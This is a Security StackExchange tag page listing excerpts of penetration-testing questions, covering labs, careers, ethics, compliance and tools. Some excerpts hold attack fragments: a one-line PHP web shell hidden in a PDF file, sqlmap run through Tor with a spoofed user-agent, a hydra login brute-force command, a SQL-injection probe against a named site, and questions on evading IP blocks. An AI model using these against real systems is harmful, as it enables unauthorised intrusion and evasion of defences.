Tagged Questions
An attempt to penetrate a system's security in an effort to evaluate the protections in place.
0
votes
1answer
36 views
Aside from Remote Exploit Code/Physical Security or Social Engineering - Is there another way to gain access to a network? [on hold]
After spending some time looking into security and remote attacks on a client/network, I feel like I've hit a wall - Every remote attack seems to boil down to one of the following approaches:
...
40
votes
10answers
6k views
+100
What makes it illegal to use the information learned by exploiting a bug?
According to news reports, arrests have already been made in relation to the Heartbleed bug. It sounds like this person managed to gain access to the website's database by capturing the credentials ...
-1
votes
0answers
93 views
Beginner Pentesting Question(s) [closed]
I came across some questions on this membership application and my OCD is kicking in. I NEED to answer these questions because I thought I was at least semi-good.I literally researched with Google on ...
1
vote
1answer
109 views
Ethicality of websites that test other sites for Heartbleed [closed]
I realize that this may be more of an opinion type question, but I see a lot of questions on ethics in this forum so I hope mine fits in.
I was reading a BBC article about Heartbleed, and in the ...
1
vote
1answer
40 views
Auto deploy war file (backdoor/shell) to particular folder
I am in the midst of a pentest. I have managed to uploaded a war shell (backdoor) in c:\test\ which is automatically deployed in a folder, for example c:\test\tmpbrowser.war.
The application which I ...
1
vote
0answers
60 views
Failed to connect to netcat reverse shell
I am doing an exercise of PentesterLab, I've got a webshell called 1.pdf, and it can be included in index.php as a PHP file. It contains code like this:
%PDF-1.4
<?php
echo system($_GET["cmd"]);
...
1
vote
0answers
22 views
Nexus 7: Can I set its WiFi to monitor/promiscous mode? If so, how? [migrated]
Related question: Nexus 7 (Or any other good android tablets) For pen testing
Also asked on: the android forums (no success so far): Nexus 7: Can I set its WiFi to monitor/promiscous mode? If so, ...
-1
votes
2answers
53 views
Identify an attacker's web vulnerability scanner by IP request rate [closed]
When conducting a penetration test, I run into difficulties because the defense system can identify an attack due to the high rate of requests, and then block the IP address
Is there a way to avoid ...
-3
votes
2answers
108 views
Learn penetration testing in home environment without a lot of money [closed]
I saw this post How to learn penetration testing at home? and I decide to ask about my self. I want to get into cyber security. So the post I send is about web security, I'm not interested in it. I ...
3
votes
4answers
110 views
Effectiveness of Interactive Application Security Testing
There are a number of IAST tools available on the market such as Acunetix Web Vulnerability Scanner and HP WebInspect Real-Time.
How effective are these at finding vulnerabilities? Is there any ...
0
votes
1answer
66 views
Is sqlmap traceable?
Is sqlmap still traceable when we use --tor --user-agent and macchanger?
For example:
sqlmap -u "[vulnerable_website_link]" --tor --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; ...
9
votes
4answers
968 views
What features should I look for in a Wifi card used for wifi snooping / penetration testing?
I'm looking to purchase a wifi card to help me learn about wifi network penetration testing and other associated issues but I was wondering if there were any features of a wifi card I should look out ...
-1
votes
0answers
28 views
Error selecting Public Page from database. Contact System Administrator
I am pentesting a website: http://www.membermanager.net/summerchallengeride/index.php?ID=3719'
I a having this error: Error selecting Public Page from database. Contact System Administrator.
After ...
0
votes
0answers
17 views
Help writing metasploit module (not getting any output) [migrated]
Complete beginner with Metasploit, so please be gentle!
I noticed that the enum_ie module doesn't work for Windows 8 clients so was trying to put a script together to download the cookie files in our ...
0
votes
4answers
69 views
Someone knows about online labs? [closed]
I'm looking for an online training lab for pentesting/hacking and security.
I've found one at hacking-lab but it's seems troublesome to work with and it has some issues on VPN server authentication.
...
0
votes
2answers
100 views
How can I Bypass ip block mechanism?
I want to pentest a specific web application with automatic tool like Burp Suite and IBM Security AppScan. However, the website uses a prevention mechanism for attack. When I started automatic tool, ...
0
votes
1answer
76 views
Fuzzdb detected as Trojans [closed]
I recently downloaded fuzzdb from http://code.google.com/p/fuzzdb/ and my antivirus kept on detecting some of the files as Trojans. I need to know if these files are safe?
0
votes
1answer
92 views
Are there any free, premade penetration testing labs? [duplicate]
I've already assembled a lab consisting of Kali, Metasploitable, and a Windows XP machine, but are they're any premade lab solutions available that offer up a bit more complexity or even predesignated ...
0
votes
0answers
7 views
Fragroute in Windows 7? [migrated]
Has anyone had any luck running fragroute in windows 7, or is there any other application you can recommend which does the same? I notice that the last compatible windows was 2000 which makes me think ...
3
votes
1answer
281 views
Setup of Kali Linux for reverse shell connections over the internet
I am running Kali Linux as a VM on my Windows machine which is NAT'd behind my company network, if I wish to pen test a website for a client and believe that a reverse shell is possible, what is a ...
0
votes
3answers
58 views
Is there a way to program to discover sites transmitting user/pass in plaintext (Not using SSL) for penetration testing? [closed]
I have a CSV/Excel file which in which I want to test out the links which do not have SSL but ask for Username / Password. Is there a program which determines if each site on a list encrypts its login ...
1
vote
2answers
104 views
Internal / external Penetration testing a webserver - PCI
the PCI DSS document states:
11.3.2
Perform internal penetration testing at least annually and after any significant
infrastructure or application upgrade or modification (such as an operating ...
2
votes
3answers
86 views
Is STARTTLS a security-vulnerability?
After reading about STARTTLS and SSL and performing a scan/pentest at our server I have the next question regarding security:
Is this STARTTLS warning below a security-vulnerability? And if so why?
...
1
vote
1answer
199 views
File upload vulnerability
I am trying to pentest a webapp challenge.
Is the following control code vulnerable to file upload? I would like to upload a php shell...
I am able to upload shell.php.jpg file but I receive the ...
0
votes
1answer
72 views
Impersonating Law Enforcement
Obviously impersonating a law enforcement officer on an engagement is illegal but badguys don't care about the law. If a company wanted to allow impersonating LE and have it in clear writing in the ...
0
votes
0answers
72 views
How to start career as Penetration Tester? [duplicate]
I'm currently studying BTEC Diploma in IT LVL3, and so far have basic command of C#, C++, and am going to learn Java basics soon, as we start a new class unit. I also plan on going to the university. ...
0
votes
1answer
43 views
Automatic exploit searches
How to automatically search and download exploits which matches for example with kernel release ?
Is there for example a public REST web service which provide data in XML or JSON format to a client ...
3
votes
2answers
68 views
Techniques for enumerating enabled apache modules
A common issue noted by security testers is that the Apache web server is reporting a version in headers which is older than the latest available one.
This usually leads to CVE listings detailing the ...
0
votes
1answer
42 views
Security standard for web-based Tele-Radiology software
I am preparing a test plan for the security penetration testing of a software solution that manages patient information (HIPAA compliance) and allow the user to access to it from the web. Does anyone ...
1
vote
0answers
85 views
The overlapping fragment attack using Scapy
How to use Scapy to overwrite a part of the TCP header information of the first fragment, which contained data that was allowed to pass through the firewall, with malicious data in subsequent ...
1
vote
1answer
233 views
Trying to reproduce a file upload compromise on Joomla
After telling my workmates and boss that we had a very critical lack of security controls, finally we got compromised!
They had a Joomla 1.5 which was exploited using a file upload vulnerability. WSO ...
0
votes
0answers
23 views
Deliberately-Vulnerable webapp for security education [duplicate]
A year or so ago I was playing around with an apache webapp I found that was designed for web exploitation practice. It was simple to use, I just downloaded the file, unzipped it, and placed it in the ...
1
vote
0answers
122 views
Hydra gives wrong passwords
I've been trying to use hydra (educational way) but with no success. The site method is http-post but performed by ajax (should it be a problem? I think not). After execute the command I got an output ...
1
vote
1answer
72 views
Problems with l0phtcrack
I recently wrote a website for my company and have been asked to Pen test it as well as the server. Have run SQL map and no vulnerabilities there, however I want to check if my hash and things are ...
1
vote
1answer
186 views
Major differences between Kali and SecurityOnion
Curious about the major differences between Kali Linux and SecurityOnion. Do you think it would be easy or useful to replicate what has been done with SecurityOnion on Kali? Why is there such a ...
2
votes
2answers
112 views
Where is the Line? [closed]
A comment posted on one of my questions the other day raised a question in my head. I know that many site admins appreciate users reporting bugs and security holes, and as a user I appreciate people ...
2
votes
2answers
148 views
API Security Testing Methodologies
I have been encountering more and more clients needing their API (usually REST) endpoints tested for vulnerabilities and wanted to reach out to see if anyone has some recommendations beyond what I ...
2
votes
2answers
123 views
CentOS for security testing?
I am a QA Engineer, but have been tasked with creating a security testing platform. I have many years with Backtrack/Kali and my primary OS are Arch and Ubuntu. The Systems guys here gave me a CentOS ...
-2
votes
1answer
98 views
Injected Images
I want to learn all about that. How can we inject code into an image? Is the code must be php? Or is javascript or HTML works too? How I find documentation about this article?
I'm a newbie about ...
8
votes
2answers
305 views
Are userid and password needed in order to pentest a website?
We are a company that has many web applications developed in ASP.NET. Our Internet service provider (Telefonica) wants to test our web sites looking for vulnerabilities. For that, they are asking us ...
2
votes
2answers
71 views
Is sqlmap tracable?
The question is simple. For example, we access a database of any website. And looked up for datas. So, is the website owner can see me? If he/she can see, how can i protect?
[These are for security ...
0
votes
1answer
40 views
How can we get the second id for sqlmap [closed]
I'm trying to find some vulnerable points in my website. My website like, www.example.com/index.php?menu_id=1002&news_id=5. When i trying to find these points with sql map, it tries for menu id. ...
4
votes
1answer
390 views
Why does Directory traversal attack %C0%AF work?
Introduction: I am trying to learn the basics of Directory Traversal.
Question: While trying to understand the 2-Byte Unicode conversion of characters, I came across this_SANS ARTICLE that explains ...
4
votes
2answers
206 views
Builder vs. Breaker - Do developers make good pen testers & vice versa
Do developers necessarily make good penetration testers & vice versa?
The reason I ask is that I find I have much more of a knack for figuring out how an existing piece of software works and can ...
0
votes
1answer
288 views
How to enable a http post form penetration test?
I don't get the correct results and I'm not sure what I'm doing wrong:
$ ./hydra -l admin -x 3:9:a http://localhost http-post-form "/admin/login:j_username=^USER^&j_password=^PASS^:failed" -s ...
2
votes
1answer
379 views
Where does Active Directory store user hashes?
During a penetration test for a client, having an infrastructure with multiple (5) Active Directory Servers (Win Serv 2008 R2)... I found a nice exploit to drop a system shell in one of the servers, ...
5
votes
5answers
399 views
Penetration testing reported ZERO vulnerabilities. Does this mean my web app is secure?
I've spent many hours on whitebox testing to make sure my code was safe. From a theoretical standpoint, the code SHOULD be safe. I then used several widely known testing tools (including one that ...
3
votes
4answers
275 views
What are good resources to do hands-on practice on network penetration testing?
Can anyone provide a good list of resources to learn network penetration testing? I am specifically looking for those having hands on exercises (kind of virtual labs/ISOs) which are free. I know ...
1
vote
2answers
182 views
Is exploit researching different from penetration testing
I'm confused by some terminology - reverse engineering seems to me to be pretty similar to exploit researching. I mean if you can reverse one program probably you will be able to find a vulnerability, ...
1
vote
2answers
1k views
Missing Secure Attribute in Encrypted Session (SSL) Cookie Recheck
I tested a web application with a commercial tool (IBM AppScan) for penetration test. I found a bug which is related to Missing Secure Attribute in Encrypted Session (SSL) Cookie.
The web ...
